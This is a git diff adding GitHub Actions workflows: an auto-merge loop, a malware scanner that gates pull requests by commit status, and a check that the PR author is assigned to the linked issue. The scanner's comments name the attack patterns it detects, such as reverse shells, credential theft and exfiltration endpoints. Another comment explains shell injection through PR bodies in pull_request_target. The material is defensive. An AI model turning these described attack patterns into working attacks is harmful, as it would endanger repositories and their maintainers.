--merge --admin 2>&1)"; then + echo " ✅ merged #${PR}" + if [ "${SELF}" != "true" ]; then + gh pr comment "${PR}" --repo "${REPO}" \ + --body "Merged — thanks for your contribution! 🎉" \ + 2>/dev/null || true + fi + elif MERGE_OUT="$(gh pr merge "${PR}" --repo "${REPO}" \ + --rebase --admin 2>&1)"; then + echo " ✅ rebased and merged #${PR}" + if [ "${SELF}" != "true" ]; then + gh pr comment "${PR}" --repo "${REPO}" \ + --body "Merged — thanks for your contribution! 🎉" \ + 2>/dev/null || true + fi + else + MERGE_ERR="$(printf '%s' "${MERGE_OUT}" \ + | head -3 | tr '\n' ' ')" + [ -n "${MERGE_ERR}" ] || MERGE_ERR="(no error output)" + MARKER2="" + ALREADY2="$(gh pr view "${PR}" --repo "${REPO}" \ + --json reviews \ + --jq "[.reviews[] | select(.author.login == \"${BOT_LOGIN}\") + | select(.body | contains(\"${MARKER2}\"))] | length" \ + 2>/dev/null || echo 0)" + if [ "${ALREADY2}" -eq 0 ]; then + BODY="All checks passed, but this couldn't be merged automatically (${MERGE_ERR}). A maintainer will take a look." + BODY+=$'\n'"${MARKER2}" + gh pr review "${PR}" --repo "${REPO}" --comment \ + --body "${BODY}" 2>/dev/null || true + fi + fi + done diff --git a/.github/workflows/malware-scan.yml b/.github/workflows/malware-scan.yml new file mode 100644 index 0000000..498cc56 --- /dev/null +++ b/.github/workflows/malware-scan.yml @@ -0,0 +1,150 @@ +name: Malware scan + +# Scans each pull request's added code for malware and supply-chain attack +# patterns (install hooks, download-and-execute, obfuscated or whitespace- +# hidden payloads, editor auto-run tasks, files disguised as assets, +# credential theft, exfiltration endpoints, reverse shells, miners, Trojan +# Source unicode, non-registry / redirected dependencies, executable +# binaries). Rules: .github/scripts/malware_scan.py. +# +# The verdict is published as the commit status "Malware scan" on the PR's +# head commit, which branch protection requires (the auto-merge bot also +# runs the same scan itself before merging): +# failure -> malicious patterns found: one short comment, `security-hold` +# label, and the PR cannot be merged. +# success -> nothing malicious (routine sensitive changes are logged only). +# error -> the scan could not complete; the PR stays unmergeable until a +# re-run succeeds (fail-closed). +# Quiet by design: nothing is posted on the PR unless malware is found. +# +# SECURITY: pull_request_target so the scanner that runs is ALWAYS the +# base-branch copy -- a PR cannot edit or delete what scans it. PR code is +# never checked out or executed; patches are read through the API. Every +# PR-controlled string is escaped by the scanner before it is posted. +# +# The schedule / manual run sweeps every open PR, so PRs opened before this +# workflow existed (or whose event run was missed) still get a status. + +on: + pull_request_target: + types: [opened, synchronize, reopened, ready_for_review] + schedule: + - cron: "41 * * * *" + workflow_dispatch: + inputs: + pr: + description: "PR number to scan (blank = every open PR)" + required: false + type: string + +permissions: + contents: read + statuses: write + pull-requests: write + issues: write + +concurrency: + group: malware-scan-${{ github.event.pull_request.number || inputs.pr || 'sweep' }} + cancel-in-progress: true + +jobs: + scan: + name: scan pull requests + runs-on: ubuntu-latest + timeout-minutes: 20 + steps: + # Base branch only (the default ref for pull_request_target, schedule + # and workflow_dispatch). Never the PR head. + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + persist-credentials: false + fetch-depth: 1 + + - name: scan and report + env: + GH_TOKEN: ${{ github.token }} + REPO: ${{ github.repository }} + EVENT_PR: ${{ github.event.pull_request.number }} + INPUT_PR: ${{ inputs.pr }} + RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} + run: | + set -euo pipefail + + status() { # sha state description + gh api -X POST "repos/${REPO}/statuses/$1" \ + -f state="$2" -f context="Malware scan" \ + -f description="$3" -f target_url="${RUN_URL}" >/dev/null + } + + if [ -n "${EVENT_PR:-}" ]; then + PRS=("${EVENT_PR}") + elif [ -n "${INPUT_PR:-}" ]; then + PRS=("${INPUT_PR}") + else + mapfile -t PRS < <(gh pr list --repo "${REPO}" --state open \ + --limit 300 --json number --jq '.[].number') + fi + [ "${#PRS[@]}" -gt 0 ] || { echo "no open pull requests"; exit 0; } + + # A broken or weakened scanner must never report "clean". + SELFTEST=ok + python3 -B .github/scripts/test_malware_scan.py >/dev/null 2>&1 \ + || SELFTEST=failed + + failed_any=0 + for PR in "${PRS[@]}"; do + SHA="$(gh pr view "${PR}" --repo "${REPO}" --json headRefOid \ + --jq .headRefOid 2>/dev/null || true)" + [ -n "${SHA}" ] || { echo "#${PR}: cannot read PR"; continue; } + + if [ "${SELFTEST}" != "ok" ]; then + status "${SHA}" error "Scanner self-test failed; not scanned" + failed_any=1; continue + fi + + REPORT="${RUNNER_TEMP}/scan-${PR}.md" + RC=0 + python3 -B .github/scripts/malware_scan.py --repo "${REPO}" \ + --pr "${PR}" --report "${REPORT}" >/dev/null || RC=$? + + case "${RC}" in + 0|2|4) + echo "#${PR}: ok (rc=${RC})" + status "${SHA}" success "No malicious patterns found" + gh pr edit "${PR}" --repo "${REPO}" \ + --remove-label security-hold >/dev/null 2>&1 || true ;; + 1) + echo "#${PR}: MALICIOUS PATTERNS FOUND" + status "${SHA}" failure "Malicious patterns found; cannot be merged" + gh label create security-hold --repo "${REPO}" \ + --color B60205 \ + --description "Malware scan flagged this PR" \ + >/dev/null 2>&1 || true + gh pr edit "${PR}" --repo "${REPO}" --add-label security-hold \ + >/dev/null 2>&1 || true + MARKER="" + SEEN="$(gh api --paginate "repos/${REPO}/issues/${PR}/comments" \ + --jq "[.[] | select(.body | contains(\"${MARKER}\"))] | length" \ + 2>/dev/null | awk '{s+=$1} END {print s+0}')" + if [ "${SEEN}" -eq 0 ]; then + { + echo "⚠️ This PR contains code that matches known malicious patterns, so it can't be merged. A maintainer will review it." + echo + cat "${REPORT}" + echo "${MARKER}" + } | gh pr comment "${PR}" --repo "${REPO}" --body-file - \ + >/dev/null 2>&1 || true + fi + failed_any=1 ;; + *) + echo "#${PR}: scan could not complete (rc=${RC})" + status "${SHA}" error "Scan could not complete; re-run required" + failed_any=1 ;; + esac + done + + # A single-PR run fails visibly when that PR is flagged; the sweep + # reports per PR through statuses and only fails on its own errors. + if [ -n "${EVENT_PR:-}${INPUT_PR:-}" ] && [ "${failed_any}" -ne 0 ]; then + exit 1 + fi diff --git a/.github/workflows/require-assignment.yml b/.github/workflows/require-assignment.yml new file mode 100644 index 0000000..8513b96 --- /dev/null +++ b/.github/workflows/require-assignment.yml @@ -0,0 +1,104 @@ +name: Require assignment + +# Blocks PRs from contributors who are not assigned to the linked issue. +# Runs on every PR open/reopen — provides immediate feedback instead of +# waiting for the auto-merge bot's hourly sweep. + +on: + pull_request_target: + types: [opened, reopened, ready_for_review] + +permissions: + pull-requests: write + issues: read + +concurrency: + group: assign-check-${{ github.event.pull_request.number }} + cancel-in-progress: true + +jobs: + check-assignment: + name: Check issue assignment + runs-on: ubuntu-latest + timeout-minutes: 5 + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + # PR-controlled fields are passed as env vars rather than interpolated + # directly into the script below. `${{ }}` substitution happens as a + # raw text splice into the YAML *before* bash ever sees it, so a body + # containing backticks or `$(...)` would otherwise be executed as + # commands in this pull_request_target context (which holds a + # write-scoped token). Env vars are passed as opaque string values + # instead, so bash only ever sees "$BODY" as data. + PR_NUMBER: ${{ github.event.pull_request.number }} + PR_AUTHOR: ${{ github.event.pull_request.user.login }} + PR_BODY: ${{ github.event.pull_request.body }} + PR_DRAFT: ${{ github.event.pull_request.draft }} + steps: + - name: Verify PR author is assigned to linked issue + shell: bash + run: | + set -euo pipefail + + REPO="${GITHUB_REPOSITORY}" + PR="${PR_NUMBER}" + AUTHOR="${PR_AUTHOR}" + BODY="${PR_BODY}" + + # Bot-authored PRs are exempt (contributors bot, dependabot) + if [[ "${AUTHOR}" == "github-actions[bot]" ]] || [[ "${AUTHOR}" == "app/dependabot" ]] || [[ "${AUTHOR}" == "@dependabot" ]] || [[ "${AUTHOR}" == *"[bot]" ]]; then + echo "Bot PR — skipping assignment check" + exit 0 + fi + + # Draft PRs are exempt (not ready for merge anyway) + IS_DRAFT="${PR_DRAFT}" + if [ "${IS_DRAFT}" = "true" ]; then + echo "Draft PR — skipping assignment check" + exit 0 + fi + + # Extract linked issue number from PR body + LINKED_ISSUE="$(printf '%s' "${BODY}" \ + | grep -oE '(Closes|Fixes|close[s]?|fixes) #?[0-9]+' \ + | head -1 | grep -oE '[0-9]+' || true)" + + if [ -z "${LINKED_ISSUE}" ]; then + echo "No linked issue found — skipping assignment check" + exit 0 + fi + + echo "PR #${PR} by ${AUTHOR} links to issue #${LINKED_ISSUE}" + + # Check if author is assigned to the issue + IS_ASSIGNED="$(gh issue view "${LINKED_ISSUE}" --repo "${REPO}" \ + --json assignees \ + --jq "[.assignees[] | select(.login == \"${AUTHOR}\")] | length" \ + 2>/dev/null || echo 0)" + + if [ "${IS_ASSIGNED}" -eq 0 ]; then + echo "❌ ${AUTHOR} is NOT assigned to #${LINKED_ISSUE}" + + COMMENT_BODY="$(cat <<'MSG' + 🤖 **Assignment check** — ⚠️ You are not assigned to the linked issue. + + **To get your PR reviewed and merged:** + 1. Comment on the issue requesting assignment + 2. Wait for a maintainer to assign you + 3. The auto-merge bot will then evaluate your PR + + Maintainers assign issues to avoid duplicate work and ensure quality review. Unassigned PRs will not be auto-merged. + MSG + )" + gh pr comment "${PR}" --repo "${REPO}" --body "${COMMENT_BODY}" 2>/dev/null || true + + # Add a label to mark the PR as unassigned + gh pr edit "${PR}" --repo "${REPO}" --add-label "needs-assignment" 2>/dev/null || true + + exit 1 + fi + + echo "✅ ${AUTHOR} is assigned to #${LINKED_ISSUE}" + + # Remove the label if it was previously added + gh pr edit "${PR}" --repo "${REPO}" --remove-label "needs-assignment" 2>/dev/null || true